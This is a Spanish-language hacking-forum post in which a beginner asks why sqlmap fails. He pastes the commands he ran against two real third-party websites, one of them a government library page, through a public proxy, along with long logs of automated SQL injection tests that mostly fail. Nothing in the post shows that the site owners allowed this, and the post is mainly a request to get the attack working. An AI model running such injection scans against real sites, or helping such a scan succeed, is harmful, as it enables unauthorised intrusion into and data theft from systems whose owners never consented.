elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


  Mostrar Temas
Páginas: [1]
1  Sistemas Operativos / GNU/Linux / Tengo problemas con sqlmap en linux y windows en: 24 Febrero 2012, 11:14 am
Hola buenas soy nuevo en el foro  ::) y  no se si me podrían ayudar cuando quiero  injectar con sqlmap en alguna pagina me sale este error ya los probé con varias paginas ,pero sale igual  .  OJO: no quiero hacer ningunas maldades XD solo estoy probando     :rolleyes:


EN linux usando proxy y tambien lo eh probrado sin el  , con vpn .Nota :los proxy y los vpn andan bn


cd /pentest/web/scanners/sqlmap


cd /pentest/database/sqlmap/


./sqlmap.py --proxy http://217.196.113.81:8080 -u  http://www.bibliotecayacucho.gob.ve/fba/index.php?id=103 --dbs

y me sale este error:

------------------------------------------------------------------------

sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[!] Legal Disclaimer: usage of sqlmap for attacking web servers without prior mutual consent can be considered as an illegal activity. it is the final user's responsibility to obey all applicable local, state and federal laws. authors assume no liability and are not responsible for any misuse or damage caused by this program.

  • starting at: 06:08:00
[06:08:01] [INFO] using '/pentest/database/sqlmap/output/www.bibliotecayacucho.gob.ve/session' as session file
[06:08:01] [INFO] testing connection to the target url
[06:08:25] [INFO] testing if the url is stable, wait a few seconds
[06:08:29] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[06:08:33] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:08:53] [INFO] url is stable
[06:08:53] [INFO] testing if GET parameter 'id' is dynamic
[06:08:57] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:09:02] [INFO] heuristics detected web page charset 'ascii'
[06:09:02] [INFO] confirming that GET parameter 'id' is dynamic
[06:09:03] [INFO] GET parameter 'id' is dynamic
[06:09:06] [WARNING] heuristic test shows that GET parameter 'id' might not be injectable
[06:09:06] [INFO] testing sql injection on GET parameter 'id'
[06:09:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[06:09:16] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:09:32] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[06:09:33] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:09:39] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[06:09:47] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:09:56] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:10:02] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:10:06] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[06:10:20] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:10:22] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:10:28] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:10:31] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[06:10:36] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:10:38] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[06:10:49] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:10:50] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent
[06:10:54] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:10:56] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:10:58] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:11:08] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent
[06:11:08] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[06:11:17] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[06:11:24] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:11:28] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:11:29] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:11:31] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:11:34] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[06:11:45] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[06:11:56] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[06:11:56] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[06:11:56] [WARNING] most probably web server instance hasn't recovered yet from previous timed based payload. if the problem persists please wait for few minutes and rerun without flag T in --technique option (e.g. --flush-session --technique=BEUS) or try to lower the --time-sec value (e.g. --time-sec=2)
[06:11:58] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:12:07] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[06:12:09] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[06:12:16] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:12:17] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:12:23] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[06:12:27] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:12:31] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:12:32] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:12:34] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[06:12:37] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[06:12:38] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:12:49] [INFO] testing 'Oracle AND time-based blind'
[06:12:50] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:12:55] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:12:56] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:13:05] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[06:13:14] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:13:18] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:13:23] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:13:35] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:13:42] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:13:46] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:14:10] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:14:19] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:14:33] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:14:56] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[06:14:57] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:15:01] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:15:02] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:15:06] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:15:18] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:15:45] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:16:18] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:16:43] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:17:56] [CRITICAL] connection timed out to the target url or proxy, sqlmap is going to retry the request
[06:18:03] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:18:17] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[06:18:17] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS
[06:18:21] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:18:22] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:18:24] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:18:26] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent
[06:18:27] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:18:34] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:18:57] [INFO] target url appears to be UNION injectable with 2 columns
[06:19:07] [WARNING] please consider usage of --union-char option (e.g. --union-char=1) to make it work
[06:19:18] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:19:21] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[06:19:30] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:20:01] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:20:03] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:20:09] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:20:14] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:20:15] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[06:20:17] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent
[06:20:17] [INFO] target url appears to be UNION injectable with 10 columns
[06:20:17] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:20:25] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:20:31] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:20:35] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:20:44] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:20:55] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:21:09] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[06:21:15] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:21:20] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:21:22] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:21:23] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:21:36] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:21:37] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:21:42] [WARNING] please consider usage of --union-char option (e.g. --union-char=1) to make it work
[06:21:51] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:21:56] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[06:22:02] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:22:07] [CRITICAL] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent, sqlmap is going to retry the request
[06:22:10] [WARNING] GET parameter 'id' is not injectable
[06:22:10] [CRITICAL] all parameters appear to be not injectable. Try to increase --level/--risk values to perform more tests. Rerun by providing either a valid --string or a valid --regexp, refer to the user's manual for details

  • shutting down at: 06:22:10

----------------------------------------------------------------------------



Lo probé con windows tambien y me sale el mismo error

AHora en windows sin proxy haber si sale tengo python 2.7 lo probe y igual el mismo error


C:\sqlmap>sqlmap.py -u http://www.fivemusic.net/evento.php?id=4 --dbs

y me sale esto

----------------------------------------------------------------------------

C:\sqlmap>sqlmap.py -u http://www.fivemusic.net/evento.php?id=4 --dbs

    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

  • starting at: 05:57:05
[05:57:05] [INFO] using 'C:\sqlmap\output\www.fivemusic.net\session' as session
file
[05:57:06] [INFO] testing connection to the target url
[05:57:07] [INFO] testing if the url is stable, wait a few seconds
[05:57:09] [INFO] url is stable
[05:57:09] [INFO] testing if GET parameter 'id' is dynamic
[05:57:10] [WARNING] GET parameter 'id' is not dynamic
[05:57:11] [WARNING] heuristic test shows that GET parameter 'id' might not be i
njectable
[05:57:11] [INFO] testing sql injection on GET parameter 'id'
[05:57:11] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[05:57:44] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[05:58:15] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
 going to retry the request
[05:59:18] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
 going to retry the request
[05:59:56] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
 going to retry the request
[05:59:58] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[06:00:57] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
 going to retry the request
[06:00:59] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[06:01:30] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
 going to retry the request
[06:02:02] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
 going to retry the request
[06:02:08] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[06:03:01] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
 going to retry the request
[06:03:32] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
 going to retry the request
[06:03:50] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[06:04:00] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[06:04:06] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[06:04:12] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[06:04:18] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[06:04:23] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[06:04:25] [INFO] testing 'Oracle AND time-based blind'
[06:04:31] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[06:05:23] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[06:05:23] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS
[06:06:13] [WARNING] GET parameter 'id' is not injectable
[06:06:13] [CRITICAL] all parameters are not injectable, try to increase --level
/--risk values to perform more tests. Rerun without providing the --technique sw
itch. Give it a go with the --text-only switch if the target page has a low perc
entage of textual content (~1.52% of page content is text)

  • shutting down at: 06:06:13

C:\sqlmap>

----------------------------------------------------------------------


A que se debe es que tengo que configurar el sqlmap en sqlmap.conf o algo y como lo hago XD  , no se xq me sale eso la vd   
.Bueno espero que me ayuden y haber a quien le ha pasado y lo haya solucionado  para que me eche una mano xq no encuentro nada en google o no sabre buscar bn  XD  .Espero que me ayuden .saludos

Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines